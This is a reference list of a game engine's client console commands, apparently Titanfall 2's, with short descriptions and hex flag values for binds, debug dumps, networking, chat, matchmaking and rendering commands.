++offhand0 + + + +flags: `0x40080000` +
+
++offhand1 + + + +flags: `0x40080000` +
+
++offhand2 + + + +flags: `0x40080000` +
+
++offhand3 + + + +flags: `0x40080000` +
+
++offhand4 + + + +flags: `0x40080000` +
+
++pause_menu + + + +flags: `0x40080000` +
+
++ping + + + +flags: `0x400a0000` +
+
++posedebug + +Turn on pose debugger or add ents to pose debugger UI + +flags: `0x4000` +
+
++pushtotalk + + + +flags: `0x40000000` +
+
++reload + + + +flags: `0x40080000` +
+
++right + + + +flags: `0x40080000` +
+
++score + + + +flags: `0x40080000` +
+
++scriptCommand1 + + + +flags: `0x40080000` +
+
++scriptCommand2 + + + +flags: `0x40080000` +
+
++scriptCommand3 + + + +flags: `0x40080000` +
+
++scriptCommand4 + + + +flags: `0x40080000` +
+
++scriptCommand5 + + + +flags: `0x40080000` +
+
++scriptCommand6 + + + +flags: `0x40080000` +
+
++scriptCommand7 + + + +flags: `0x40080000` +
+
++scriptCommand8 + + + +flags: `0x40080000` +
+
++scriptCommand9 + + + +flags: `0x40080000` +
+
++showscores + + + +flags: `0x40080000` +
+
++speed + + + +flags: `0x40080000` +
+
++strafe + + + +flags: `0x40080000` +
+
++toggle_duck + + + +flags: `0x400a0000` +
+
++toggle_zoom + + + +flags: `0x40080000` +
+
++use + + + +flags: `0x40080000` +
+
++useAndReload + + + +flags: `0x40080000` +
+
++use_alt + + + +flags: `0x40080000` +
+
++use_long + + + +flags: `0x40080000` +
+
++variableScopeToggle + + + +flags: `0x400a0000` +
+
++voicerecord + + + +flags: `0x2` +
+
++walk + + + +flags: `0x40080000` +
+
++weaponCycle + + + +flags: `0x40080000` +
+
++weapon_discard + + + +flags: `0x40080000` +
+
++zoom + + + +flags: `0x40080000` +
+
+-ability + + + +flags: `0x400a0000` +
+
+-ability_held + + + +flags: `0x400a0000` +
+
+-attack + + + +flags: `0x40080000` +
+
+-backward + + + +flags: `0x400a0000` +
+
+-break + + + +flags: `0x40080000` +
+
+-camdistance + + + +flags: `0x2` +
+
+-camin + + + +flags: `0x2` +
+
+-cammousemove + + + +flags: `0x2` +
+
+-camout + + + +flags: `0x2` +
+
+-campitchdown + + + +flags: `0x2` +
+
+-campitchup + + + +flags: `0x2` +
+
+-camyawleft + + + +flags: `0x2` +
+
+-camyawright + + + +flags: `0x2` +
+
+-commandermousemove + + + +flags: `0x80000` +
+
+-csm_rot_x_neg + + + +flags: `0x2` +
+
+-csm_rot_x_plus + + + +flags: `0x2` +
+
+-csm_rot_y_neg + + + +flags: `0x2` +
+
+-csm_rot_y_plus + + + +flags: `0x2` +
+
+-displayFullscreenMap + + + +flags: `0x40080000` +
+
+-dodge + + + +flags: `0x400a0000` +
+
+-duck + + + +flags: `0x400a0000` +
+
+-forward + + + +flags: `0x400a0000` +
+
+-graph + + + +flags: `0x40080000` +
+
+-jump + + + +flags: `0x400a0000` +
+
+-klook + + + +flags: `0x40080000` +
+
+-left + + + +flags: `0x40080000` +
+
+-lookdown + + + +flags: `0x80000` +
+
+-lookup + + + +flags: `0x80000` +
+
+-mat_texture_list + + + +flags: `0x2` +
+
+-melee + + + +flags: `0x40080000` +
+
+-movedown + + + +flags: `0x40080000` +
+
+-moveleft + + + +flags: `0x400a0000` +
+
+-moveright + + + +flags: `0x400a0000` +
+
+-moveup + + + +flags: `0x40080000` +
+
+-offhand0 + + + +flags: `0x40080000` +
+
+-offhand1 + + + +flags: `0x40080000` +
+
+-offhand2 + + + +flags: `0x40080000` +
+
+-offhand3 + + + +flags: `0x40080000` +
+
+-offhand4 + + + +flags: `0x40080000` +
+
+-pause_menu + + + +flags: `0x40080000` +
+
+-ping + + + +flags: `0x400a0000` +
+
+-posedebug + +Turn off pose debugger or hide ents from pose debugger UI + +flags: `0x4000` +
+
+-pushtotalk + + + +flags: `0x40000000` +
+
+-reload + + + +flags: `0x40080000` +
+
+-right + + + +flags: `0x40080000` +
+
+-score + + + +flags: `0x40080000` +
+
+-scriptCommand1 + + + +flags: `0x40080000` +
+
+-scriptCommand2 + + + +flags: `0x40080000` +
+
+-scriptCommand3 + + + +flags: `0x40080000` +
+
+-scriptCommand4 + + + +flags: `0x40080000` +
+
+-scriptCommand5 + + + +flags: `0x40080000` +
+
+-scriptCommand6 + + + +flags: `0x40080000` +
+
+-scriptCommand7 + + + +flags: `0x40080000` +
+
+-scriptCommand8 + + + +flags: `0x40080000` +
+
+-scriptCommand9 + + + +flags: `0x40080000` +
+
+-showscores + + + +flags: `0x40080000` +
+
+-speed + + + +flags: `0x40080000` +
+
+-strafe + + + +flags: `0x40080000` +
+
+-toggle_duck + + + +flags: `0x400a0000` +
+
+-toggle_zoom + + + +flags: `0x40080000` +
+
+-use + + + +flags: `0x40080000` +
+
+-useAndReload + + + +flags: `0x40080000` +
+
+-use_alt + + + +flags: `0x40080000` +
+
+-use_long + + + +flags: `0x40080000` +
+
+-variableScopeToggle + + + +flags: `0x400a0000` +
+
+-voicerecord + + + +flags: `0x2` +
+
+-walk + + + +flags: `0x40080000` +
+
+-weaponCycle + + + +flags: `0x40080000` +
+
+-weapon_discard + + + +flags: `0x40080000` +
+
+-zoom + + + +flags: `0x40000000` +
+
+BindToggle + +Performs a bind "increment var 0 1 1" + +flags: `0x2` +
+
+CMaterialSystem_clear_loading + + + +flags: `0x20002` +
+
+CMaterialSystem_set_loading + + + +flags: `0x20002` +
+
+DebugPrintUsedTextures + + + +flags: `0x2` +
+
+DumpClientDataBlockReceiver + + + +flags: `0x2` +
+
+EADP_Dump_Invites + + + +flags: `0x2` +
+
+EADP_RTM_FORCE_TLS_ERROR + + + +flags: `0x2` +
+
+EADP_RTM_send_invite + + + +flags: `0x2` +
+
+EADP_RTM_send_presence + + + +flags: `0x2` +
+
+EADP_RTM_test_subscribe + + + +flags: `0x2` +
+
+EADP_dump_MyPresence + + + +flags: `0x2` +
+
+EADP_dump_friends + + + +flags: `0x2` +
+
+EADP_get_friend_test + + + +flags: `0x2` +
+
+EADP_is_friend_user_test + + + +flags: `0x2` +
+
+EADP_presence_subscribe_all_club_members + + + +flags: `0x2` +
+
+EADP_search_test2 + + + +flags: `0x2` +
+
+EADP_unfriend_user_test + + + +flags: `0x2` +
+
+MemTrackDeltaSnapshot + +Debug command compares two snapshots. Takes indices into the snapshot array, negative means from end + +flags: `0x2` +
+
+MemTrackPrintStats + +Debug command prints current mem stats & creates a named snapshot - first param is snapshot name + +flags: `0x2` +
+
+RTM_FORCE_shutdown + + + +flags: `0x2` +
+
+ReloadAimAssistSettings + +Reloads aimassist config files. + +flags: `0xa` +
+
+adminmsg + +Send text to the current community (if you are an admin) + +flags: `0x2` +
+
+aisettings_reparse_client + +Reloads the AI settings files + +flags: `0xa` +
+
+alias + +Alias a command. + +flags: `0x2` +
+
+applyVideoChangesDeferred + +Workaround for applying video changes using controller buttons shortcuts. + +flags: `0x40000008` +
+
+bind + +Bind a key to TAPPED. + +flags: `0x40000000` +
+
+bind_US_standard + +Bind a key to TAPPED. Given a key on a standard US keyboard, this function will translate that key to the appropriate key on the user's current keyboard. + +flags: `0x40000000` +
+
+bind_held + +Bind a key to HELD. + +flags: `0x40000000` +
+
+bind_held_US_standard + +Bind a key to HELD.. Given a key on a standard US keyboard, this function will translate that key to the appropriate key on the user's current keyboard. + +flags: `0x40000000` +
+
+bind_list + +List all current bindings. + +flags: `0x2` +
+
+bind_list_abilities + +List all ability bindings and what commands they resolve to + +flags: `0x2` +
+
+bink_dump_precached_movies + +Dumps information about all precached Bink movies + +flags: `0x2` +
+
+bot_loadout + +Override bot loadout + +flags: `0x4008` +
+
+box + +Draw a debug box. + +flags: `0x4000` +
+
+buildcubemaps + +Rebuild cubemaps. + +flags: `0x2` +
+
+cache_print + +cache_print [section] +Print out contents of cache memory. + +flags: `0x2` +
+
+cache_print_lru + +cache_print_lru [section] +Print out contents of cache memory. + +flags: `0x2` +
+
+cache_print_summary + +cache_print_summary [section] +Print out a summary contents of cache memory. + +flags: `0x2` +
+
+cam_command + +Tells camera to change modes + +flags: `0x4008` +
+
+cancelselect + + + +flags: `0x10000002` +
+
+cc_emit + +Emits a closed caption + +flags: `0xa` +
+
+centerview + + + +flags: `0x2` +
+
+changelevel + +Change server to the specified map + +flags: `0x20002` +
+
+chaosmonkeydisconnect + +Server tells us to crash. The monkey server has spoken. + +flags: `0x40000008` +
+
+chat + +Send text to the current chatroom + +flags: `0x2` +
+
+chat_wheel + +Opens the chat wheel + +flags: `0x40000008` +
+
+chatroom_adminsOnly + +Set the chatroom to be admins-only + +flags: `0x2` +
+
+chatroom_away + +Tell the chatserver you are away from the room + +flags: `0x2` +
+
+chatroom_freetalk + +Set the chatroom to be free talk + +flags: `0x2` +
+
+chatroom_present + +Tell the chatserver you are present in the room + +flags: `0x2` +
+
+chatserver + +Connect to a chatserver + +flags: `0x40000000` +
+
+chroma_base + +Transitions to a new base layer for chroma hardware + +flags: `0x2` +
+
+chroma_layer + +Adds an overlay layer for chroma hardware + +flags: `0x2` +
+
+cl_dump_particle_stats + +dump particle profiling info to particle_profile.csv + +flags: `0x2` +
+
+cl_ent_absbox + +Displays the client's absbox for the entity under the crosshair. + +flags: `0x4008` +
+
+cl_ent_bbox + +Displays the client's bounding box for the entity under the crosshair. + +flags: `0x4008` +
+
+cl_ent_rbox + +Displays the client's render box for the entity under the crosshair. + +flags: `0x4008` +
+
+cl_find_ent + +Find and list all client entities with classnames that contain the specified substring. +Format: cl_find_ent + + +flags: `0x4000` +
+
+cl_find_ent_index + +Display data for clientside entity matching specified index. +Format: cl_find_ent_index + + +flags: `0x4000` +
+
+cl_flip_visibility + +Flips the visibilityBits of all Entities + +flags: `0x4000` +
+
+cl_fullupdate + +Forces the server to send a full update packet + +flags: `0x4000` +
+
+cl_interpolation_report + +Prints all entities being interpolated on the next frame + +flags: `0xa` +
+
+cl_panelanimation + +Shows panel animation variables: . + +flags: `0xa` +
+
+cl_particles_dumplist + +Dump all new particles, optional name substring. + +flags: `0xa` +
+
+cl_precacheinfo + +Show precache info (client). + +flags: `0x2` +
+
+cl_removedecals + +Remove the decals from the entity under the crosshair. + +flags: `0x4000` +
+
+cl_showents + +Dump entity list to console. + +flags: `0x4000` +
+
+cl_soundscape_flush + +Flushes the client side soundscapes + +flags: `0x10004008` +
+
+cl_trace_start_solid + +Trace with given parameters and return start solid result + +flags: `0xa` +
+
+cl_trace_test_hitbox_with_non_zero_start_offset + + + +flags: `0xa` +
+
+cl_updatevisibility + +Updates visibility bits. + +flags: `0xa` +
+
+clear_loading_progress_detente + +Clears the detente for the load screen. + +flags: `0x20002` +
+
+clear_loading_progress_sp_text + +Clears the sp text for the load screen. + +flags: `0x20002` +
+
+cm_query_log_record + +Start recording a log of all queries + +flags: `0x2` +
+
+cm_query_log_replay + +Play back a query log for performance testing + +flags: `0x2` +
+
+cmd + +Forward command to server. + +flags: `0x2` +
+
+cmd1 + +sets userinfo string for split screen player in slot 1 + +flags: `0x40000000` +
+
+cmd2 + +sets userinfo string for split screen player in slot 2 + +flags: `0x2` +
+
+cmd3 + +sets userinfo string for split screen player in slot 3 + +flags: `0x2` +
+
+cmd4 + +sets userinfo string for split screen player in slot 4 + +flags: `0x2` +
+
+collision_debug + +Sends a collision ray from player and gathers info. + +flags: `0x4008` +
+
+colorcorrectionui + +Show/hide the color correction tools UI. + +flags: `0x4000` +
+
+community_browse + +Browse available communities + +flags: `0x2` +
+
+community_getPendingJoinRequest + +Get a random pending join request to answer + +flags: `0x2` +
+
+community_join + +Join a community + +flags: `0x2` +
+
+community_leave + +Leave a community + +flags: `0x2` +
+
+community_list + +list my communities + +flags: `0x2` +
+
+community_report + +Report a community + +flags: `0x2` +
+
+community_showerror + +Get a random pending join request to answer + +flags: `0x2` +
+
+connect + +Connect to specified server. + +flags: `0x20002` +
+
+connectAsSpectator + +Connect to specified server as a spectator + +flags: `0x20002` +
+
+connectWithKey + +Connect to specified server with an explicit encryption key. + +flags: `0x20002` +
+
+connectwithtoken + +Connect to specified server with a reservation token. + +flags: `0xa0000` +
+
+convar_differences + +Show all convars which are not at their default values. + +flags: `0x2` +
+
+convar_findByFlags + +Find concommands by flags. + +flags: `0x2` +
+
+convar_list + +Show the list of convars/concommands. + +flags: `0x2` +
+
+createparty + +Create a party + +flags: `0x2` +
+
+createpartyifnotinone + +Create a party if we aren't in one + +flags: `0x2` +
+
+csm_status + +Usage: + csm_status + + +flags: `0x2` +
+
+damagedefs_reparse_client + +Reloads the damage defs + +flags: `0xa` +
+
+debugModelPurge + +Debug command to purge unused models... + +flags: `0x2` +
+
+devshots_nextmap + +Used by the devshots system to go to the next map in the devshots maplist. + +flags: `0x2` +
+
+devshots_screenshot + +Used by the -makedevshots system to take a screenshot. For taking your own screenshots, use the 'screenshot' command instead. + +flags: `0x20002` +
+
+dfs_print_flag_states + +Prints all dfs flag states to console + +flags: `0x2` +
+
+dfs_print_true_flags + +Prints all true feature flags to console + +flags: `0x2` +
+
+disconnect + +Disconnect game from server. + +flags: `0x48000000` +
+
+display_elapsedtime + +Displays how much time has elapsed since the game started + +flags: `0x4000` +
+
+dlight_debug + +Creates a dlight in front of the player + +flags: `0x4008` +
+
+do_InvitePeople_test + + + +flags: `0x2` +
+
+do_Invite_friend_test + + + +flags: `0x2` +
+
+do_joinPeople_test + + + +flags: `0x2` +
+
+do_origin_test_presence + + + +flags: `0x2` +
+
+downloadPlaylists + +Re-download the playlists + + +flags: `0x2` +
+
+dumpClientStringTable + +Dump the contents of the client's game string table to the console. + +flags: `0x4000` +
+
+dumpstringtables + +Print string tables to console. + +flags: `0x2` +
+
+echo + +Echo text to console. + +flags: `0x10000002` +
+
+echo_error + +Echo error text to console. + +flags: `0x10000002` +
+
+editor_toggle + +Disables the simulation and returns focus to the editor + +flags: `0x4000` +
+
+endmovie + +Stop recording movie frames. + +flags: `0x20002` +
+
+entitlements_send + +Send client's entitlements to the server + +flags: `0x2` +
+
+envmap + + + +flags: `0x2` +
+
+escape + +Escape key pressed. + +flags: `0x40000000` +
+
+exec + +Execute script file. + +flags: `0x40000000` +
+
+execPlayerConfig + +Load player settings. + +flags: `0x80000` +
+
+execifexists + +Execute script file if file exists. + +flags: `0x2` +
+
+exit + +Exit the engine. + +flags: `0x2` +
+
+eyeInfo + +gets info about the current view + + +flags: `0x2` +
+
+firstperson + +Switch to firstperson camera. + +flags: `0x2` +
+
+flush + +Flush unlocked cache memory. + +flags: `0x4000` +
+
+flush_locked + +Flush unlocked and locked cache memory. + +flags: `0x4000` +
+
+force_centerview + + + +flags: `0x40080000` +
+
+fps_stats_dump + + + +flags: `0x2` +
+
+fps_stats_reset + + + +flags: `0x2` +
+
+fps_stats_start + + + +flags: `0x2` +
+
+fps_stats_stop + + + +flags: `0x2` +
+
+friends_update + + + +flags: `0x2` +
+
+fs_clear_open_duplicate_times + +Clear the list of files that have been opened. + +flags: `0x2` +
+
+fs_dump_open_duplicate_times + +Set fs_report_long_reads 1 before loading to use this. Prints a list of files that were opened more than once and ~how long was spent reading from them. + +flags: `0x2` +
+
+fs_fios_cancel_prefetches + +Cancels all the prefetches in progress. + +flags: `0x2` +
+
+fs_fios_flush_cache + +Flushes the FIOS HDD cache. + +flags: `0x2` +
+
+fs_fios_prefetch_file + +Prefetches a file: . +The preftech is medium priority and persistent. + +flags: `0x2` +
+
+fs_fios_prefetch_file_in_pack + +Prefetches a file in a pack: . +The preftech is medium priority and non-persistent. + +flags: `0x2` +
+
+fs_fios_print_prefetches + +Displays all the prefetches currently in progress. + +flags: `0x2` +
+
+fs_printopenfiles + +Show all files currently opened by the engine. + +flags: `0x2` +
+
+fs_warning_level + +Set the filesystem warning level. + +flags: `0x2` +
+
+fx_impact_reparse + +Reloads the weapon impact effect table files + +flags: `0x4008` +
+
+gameui_activate + +Shows the game UI + +flags: `0x40000000` +
+
+gameui_allowescape + +Escape key allowed to hide game UI + +flags: `0x40000000` +
+
+gameui_allowescapetoshow + +Escape key allowed to show game UI + +flags: `0x2` +
+
+gameui_hide + +Hides the game UI + +flags: `0x40000000` +
+
+gameui_preventescape + +Escape key doesn't hide game UI + +flags: `0x40000000` +
+
+gameui_preventescapetoshow + +Escape key doesn't show game UI + +flags: `0x2` +
+
+getNewAuthToken + +Ask for a new auth token. + +flags: `0x2` +
+
+getfov + +Gets info about the current FOV + +flags: `0x2` +
+
+gethttpdatacenterlist + +Gets the list of datacenters + +flags: `0x2` +
+
+getpos + +dump position and angles to the console + +flags: `0xa` +
+
+getpos_bind + +Binds the given key to a setpos/setang command of your current position. + +flags: `0xa` +
+
+getposvec + +dump position and angles to the console in 'Vector( x, y, z ), Vector( pitch, yaw, roll )' format + +flags: `0xa` +
+
+give + +Give weapon to player. + +flags: `0x4008` +
+
+help + +Find help about a convar/concommand. + +flags: `0x2` +
+
+hidepanel + +Hides a viewport panel + +flags: `0xa` +
+
+hidevideos + +Hides video panels playing to the screen + +flags: `0xa` +
+
+highlight_log + +Log Highlight + +flags: `0x2` +
+
+host_runofftime + +Run off some time without rendering/updating sounds + + +flags: `0x2` +
+
+hud_subtitles + +Plays the Subtitles: + +flags: `0xa` +
+
+huffman_readProps + +Read the huffman file and regenerate huffman trees + +flags: `0x2` +
+
+impulse + + + +flags: `0x40080000` +
+
+inboxmessage_report + +Report an inbox message as abusive + +flags: `0x2` +
+
+incrementvar + +Increment specified convar value. + +flags: `0x20002` +
+
+ingamemenu_activate + +Shows the in-game menu + +flags: `0x40080008` +
+
+initMatchmaking + + + +flags: `0x2` +
+
+invnext + + + +flags: `0x40080000` +
+
+is_considered_sony_multiplayer + +Checks the value for whether the game is currently telling sony it's in multiplayer + +flags: `0xa` +
+
+joinopeninvite + +Join the active open invite in the chat room + +flags: `0x2` +
+
+joystick_initialize + + + +flags: `0x40000000` +
+
+jpeg + +Take a jpeg screenshot: jpeg . + +flags: `0x80000` +
+
+key_listboundkeys + +(DEPRECATED. Prefer bind_list)List bound keys with bindings. + +flags: `0x2` +
+
+key_updatelayout + +Updates game keyboard layout to current windows keyboard setting. + +flags: `0x2` +
+
+launchplaylist + + + +flags: `0x2` +
+
+leaveopeninvite + +Leave the active open invite in the chat room + +flags: `0x2` +
+
+listClientFXScriptHandles + +Lists all active effects tracked by script. + +flags: `0xa` +
+
+listmodels + +List loaded models. + +flags: `0x2` +
+
+loadPlaylists + +Reload the playlists + + +flags: `0x2` +
+
+map + +Start playing on specified map. + +flags: `0x20002` +
+
+map_background + +Runs a map as the background to the main menu. + +flags: `0x20002` +
+
+maps + +Displays list of maps. + +flags: `0x2` +
+
+mat_antialias_mode + +Set antialias mode + +flags: `0x2` +
+
+mat_configcurrent + +show the current video control panel config for the material system + +flags: `0x2` +
+
+mat_crosshair + +Display the name of the material under the crosshair + +flags: `0x4000` +
+
+mat_crosshair_edit + +open the material under the crosshair in the editor defined by mat_crosshair_edit_editor + +flags: `0x4000` +
+
+mat_crosshair_explorer + +open the material under the crosshair in explorer and highlight the file + +flags: `0x4000` +
+
+mat_crosshair_printmaterial + +print the material under the crosshair + +flags: `0x4000` +
+
+mat_crosshair_reloadmaterial + +reload the material under the crosshair + +flags: `0x4000` +
+
+mat_gamma + +Set gamma ramp + +flags: `0x40000000` +
+
+mat_hdr_enabled + +Report if HDR is enabled for debugging + +flags: `0x2` +
+
+mat_printLiveTex + +Print stats of all known live textures. + +flags: `0x2` +
+
+mat_savechanges + +saves current video configuration + +flags: `0x40000000` +
+
+mat_setvideomode + +sets the width, height, windowed state of the material system, as well as borderless state + +flags: `0x40000000` +
+
+mat_vsync + +Set vsync enabled + +flags: `0x2` +
+
+match_abortAllSearches + + + +flags: `0x2` +
+
+match_showAllSearches + + + +flags: `0x2` +
+
+matchmake + + + +flags: `0x40000000` +
+
+matchmake_cancel + + + +flags: `0x40000000` +
+
+matchmake_cleanupforparty + + + +flags: `0x40000000` +
+
+maxplayers + +Change the maximum number of players allowed on this server. + +flags: `0x2` +
+
+mem_compact + + + +flags: `0x2` +
+
+mem_dump + +Dump memory stats to text file. + +flags: `0x2` +
+
+mem_dump_vm + +Dump vm allocations to console. + +flags: `0x2` +
+
+mem_eat + + + +flags: `0x2` +
+
+mem_incremental_compact + + + +flags: `0x2` +
+
+mem_leak_vm + +Leak specified amount of virtual memory (in MB or 'oom' to deliberately run out.) + +flags: `0x2` +
+
+mem_test + + + +flags: `0x2` +
+
+mem_textures + + + +flags: `0x2` +
+
+mem_verify + +Verify the validity of the heap + +flags: `0x2` +
+
+mem_vram + + + +flags: `0x2` +
+
+memory + +Print memory stats. + +flags: `0x2` +
+
+migrateme + +Ask your server to migrate you over to another server + +flags: `0x10080000` +
+
+miles_dump + +Writes out milesdump file and perf CSV for current session (when CSOM_MILESDUMP_PASSIVELY_FOR_DEBUGGING is enabled) + +flags: `0xa` +
+
+miles_event_info + +Shows information about a particular event. + +flags: `0x2` +
+
+miles_pauseui_byname + +Pauses any sound played on the listener for this client with the given name. + +flags: `0xa` +
+
+miles_play + +Plays a given alias at an optional given position + +flags: `0x2` +
+
+miles_reboot + +restarts the audio engine + +flags: `0x40000008` +
+
+miles_record + +Enable or disable continuous recording (including previous buffer if available) of audio output to WAV file. + +flags: `0xa` +
+
+miles_record_that + +Writes audio output from the last minute or so to WAV file. (Only useful when CSOM_MILESDUMP_PASSIVE_SAMPLES is enabled) + +flags: `0xa` +
+
+miles_stop_all + +stops all playing sounds + +flags: `0x40000008` +
+
+miles_unpauseui_byname + +Resumes any paused sound played on the listener for this client with the given name. + +flags: `0xa` +
+
+miles_write_passive_dumpfile + +Writes out milesdump file for current session (Only when CSOM_MILESDUMP_PASSIVELY_FOR_DEBUGGING is enabled) + +flags: `0xa` +
+
+mmdevinit + + + +flags: `0x20002` +
+
+multvar + +Multiply specified convar value. + +flags: `0x20002` +
+
+muteroom + +Mute the chatroom + +flags: `0x2` +
+
+net_channels + +Shows net channel info + +flags: `0x2` +
+
+net_dumpIncomingStats + +Dump incoming traffic stats + +flags: `0x2` +
+
+net_dumpOutgoingStats + +Dump outgoing traffic stats + +flags: `0x2` +
+
+net_dumpStats + +Dump all traffic stats + +flags: `0x2` +
+
+net_start + +Inits multiplayer network sockets + +flags: `0x2` +
+
+net_status + +Shows current network status + +flags: `0x2` +
+
+net_writeStatsFile + +Write out networking info to a file + + +flags: `0x2` +
+
+openinvite + +Send an open invite to the chat room + +flags: `0x2` +
+
+openinvitecomplete + +Open Invite is complete (we have our search results and reservation is done) + +flags: `0x2` +
+
+openinvitelaunch + +Open Invite should launch + +flags: `0x2` +
+
+origin_friendlist_dump + + + +flags: `0x2` +
+
+particle_create + +Creates the named particle effect at the location under the crosshair. + +flags: `0x4000` +
+
+particle_create_on_me + +Creates a particle effect on my location + +flags: `0x4000` +
+
+particle_create_ss + +Creates a screen space particle effect + +flags: `0x4000` +
+
+particle_dump + +dumps particles matching provided filter (id or defname substring or *) + +flags: `0xa` +
+
+particle_kill + +Destroys the particle effect created with the particle_create console command. + +flags: `0x4000` +
+
+particle_list + +lists particles all, or matching optional filter (id or defname substring) + +flags: `0xa` +
+
+particle_recreate + +Replays the last particle effect created with the particle_create console command. + +flags: `0x4000` +
+
+particle_remove_all + + + +flags: `0x2` +
+
+particle_scrub_bake + + + +flags: `0x2` +
+
+particle_scrub_play + + + +flags: `0x2` +
+
+particle_scrub_stop + + + +flags: `0x2` +
+
+party_leave + +quit the current party + +flags: `0x40000000` +
+
+party_serverChange + +update the party with new server info + +flags: `0x40000000` +
+
+path + +Show the engine filesystem path. + +flags: `0x2` +
+
+pause + +Toggle the server pause state. + +flags: `0x2` +
+
+pausevideos + +Pauses all videos playing to the screen + +flags: `0xa` +
+
+perfcharts_record + +Start / Stop perfcharts recording + +flags: `0x50020000` +
+
+phys_objectDump + +Dump a list of the active objects on the client. + +flags: `0x2000a` +
+
+phys_throw_client + +Throws an entity of the given model where the player is looking. Model must already be loaded. + +flags: `0x4008` +
+
+ping + +Display ping to server. + +flags: `0x6` +
+
+ping_specific_type + +Pings a specific ping + +flags: `0x40000008` +
+
+pingdatacenters + +Re-pings the datacenters + +flags: `0x2` +
+
+pixelvis_debug + +Dump debug info + +flags: `0xa` +
+
+playerSettings_reparse + +Reload player class settings from .set files + +flags: `0x40004002` +
+
+playlistdump + +Dump contents of playlist to console (Without changing any state.) + +flags: `0x2` +
+
+playsoundscape + +Forces a soundscape to play + +flags: `0x4008` +
+
+playvideo + +Plays a video: [width height] + +flags: `0xa` +
+
+playvideo_end_level_transition + +Plays a video fullscreen without ability to skip (unless dev 1) and fades in:
+
+playvideo_exitcommand + +Plays a video and fires and exit command when it is stopped or finishes: + +flags: `0xa` +
+
+playvideo_exitcommand_nointerrupt + +Plays a video (without interruption) and fires and exit command when it is stopped or finishes: + +flags: `0xa` +
+
+playvideo_nointerrupt + +Plays a video without ability to skip: [width height] + +flags: `0xa` +
+
+playvideo_scaled + +Plays a video at position using coordinates scaled relative to the base screen resolution: [pinPos posX posY width height] + +flags: `0xa` +
+
+print_colorcorrection + +Display the color correction layer information. + +flags: `0x4000` +
+
+progress_enable + + + +flags: `0x2` +
+
+quit + +Exit the engine. + +flags: `0x40000000` +
+
+r_cheapwaterend + + + +flags: `0xa` +
+
+r_cheapwaterstart + + + +flags: `0xa` +
+
+r_cleardecals + +Usage r_cleardecals . + +flags: `0x40000000` +
+
+r_dxgi_max_frame_latency + +Set the max number of command buffers in flight. 0 will set it to the DXGI default of 3. Make sure you are not forcing "Maximum pre-rendered frames" in the driver settings, but leave it application controlled. + +flags: `0x2` +
+
+r_printdecalinfo + + + +flags: `0x2` +
+
+readMsgs + +Read your messages + +flags: `0x2` +
+
+recheck + +Ask your server to recheck your community + +flags: `0x10000002` +
+
+recompute_speed + +Recomputes clock speed (for debugging purposes). + +flags: `0x4000` +
+
+reconnect + +Silently reconnect to specified server. Similar to silentconnect + +flags: `0x400a0000` +
+
+reload + +Reload the game (add setpos to jump to current view position on reload). + +flags: `0x2` +
+
+reload_localization + +Reloads all the localization data files + +flags: `0x2` +
+
+reload_script_callbacks + +Reloads script callback function pointers for client and server. + +flags: `0x4008` +
+
+reset_cam_ideal_angles + +Resets camera ideal angles to its default + +flags: `0x2` +
+
+restart + +Restart the game on the same level, to the beginning of the level (add setpos to jump to current view position on restart). + +flags: `0x2` +
+
+restart_checkpoint + +Restart the game on the same level, to the last checkpoint (add setpos to jump to current view position on restart). + +flags: `0x2` +
+
+roamingcam_setang + +Rotate roamingcam to the specified angles.( Yaw and pitch only ) + +flags: `0x40004008` +
+
+roamingcam_setpos + +Move roamingCam to the specified origin. + +flags: `0x40004008` +
+
+roamingcam_setroll + +Set the roll value for the roamingCam. + +flags: `0x4008` +
+
+rumble_print + +Print current list of active rumbles + +flags: `0xa` +
+
+savePlayerConfig + +Store player settings. + +flags: `0x40000000` +
+
+scoreboard_down + +Select next scoreboard player + +flags: `0x40000000` +
+
+scoreboard_focus + +Focus on scoreboard + +flags: `0x2` +
+
+scoreboard_mute + +Toggle the scoreboard player's muted status + +flags: `0x40000000` +
+
+scoreboard_profile + +Show the scoreboard player's profile + +flags: `0x40000000` +
+
+scoreboard_toggle_focus + +Toggle scoreboard focus + +flags: `0x40000000` +
+
+scoreboard_up + +Select previous scoreboard player + +flags: `0x40000000` +
+
+screenshot + +Take a screenshot. + +flags: `0x40000000` +
+
+server_single_frame + +Single step a frame for server + +flags: `0x6` +
+
+serverinfo + +Request serverinfo from a remote ip and port + +flags: `0x2` +
+
+set + +Change a variable in the class settings (does not save out to disk) + + +flags: `0x40004002` +
+
+set_loading_progress_background + +Sets the background for load screen. This is cleared to the default after each load. + +flags: `0x20002` +
+
+set_loading_progress_detente + +Set the keyboard and controller strings for the detentes. This is cleared to the default after each load. + +flags: `0x20002` +
+
+set_loading_progress_fadeout_enabled + +Sets whether or not to fade out of loading. This is cleared to the default after each load. (Default is = true ) + +flags: `0x20002` +
+
+set_loading_progress_sp_text + +Set the sp text for the load sreen. This is cleared to the default after each load. + +flags: `0x20002` +
+
+setinfo + +Adds a new user info value + +flags: `0x40000000` +
+
+settype + +Sets a type for a Convar/ConCommand. This affects UI rendering for the convar. Examples: 'text', 'bool', 'int 0 10', 'float 0.0 100.0', 'enum apple orange banana'. Move these to code eventually. + +flags: `0x2` +
+
+shake_stop + +Stops all active screen shakes. + + +flags: `0x4000` +
+
+shake_testpunch + +Test a punch-style screen shake. + + +flags: `0x4000` +
+
+show_loading_progress + +Prints all debug information regarding the state of the loading progress. + +flags: `0x2` +
+
+showpanel + +Shows a viewport panel + +flags: `0xa` +
+
+showvideos + +Makes video panels playing to the screen visible (if they were hidden) + +flags: `0xa` +
+
+silentconnect + +Silently connect to specified server, without disconnecting from our current server unless it succeeds. + +flags: `0xa0000` +
+
+skill_writeTrainingData + +Write training gauntlet skill data + +flags: `0x6` +
+
+soundscape_dumpclient + +Dumps the client's soundscape data. + + +flags: `0x4000` +
+
+spawn_as_pilot + +Spawn as Pilot + +flags: `0x2` +
+
+spawn_as_titan + +Spawn as Titan + +flags: `0x2` +
+
+ss_map + +Start playing on specified map with max allowed splitscreen players. + +flags: `0x20002` +
+
+ss_reloadletterbox + +ss_reloadletterbox + +flags: `0xa` +
+
+sssss_enable + +Enable screen-space subsurface scattering. 0 - off, 1 - enabled in lobby, 2 - always enabled + +flags: `0xa` +
+
+star_memory + +Dump memory stats + +flags: `0x2` +
+
+startmovie + +Start recording movie frames. + +flags: `0x20002` +
+
+status + +Display map and connection status. + +flags: `0x2` +
+
+steam_printid + + + +flags: `0x2` +
+
+steam_testOverlay + + + +flags: `0x2` +
+
+steamlink + + + +flags: `0x2` +
+
+steamunlink + + + +flags: `0x2` +
+
+stop_transition_videos_fadeout + +Fades out all transition videos playing to the screen:
+
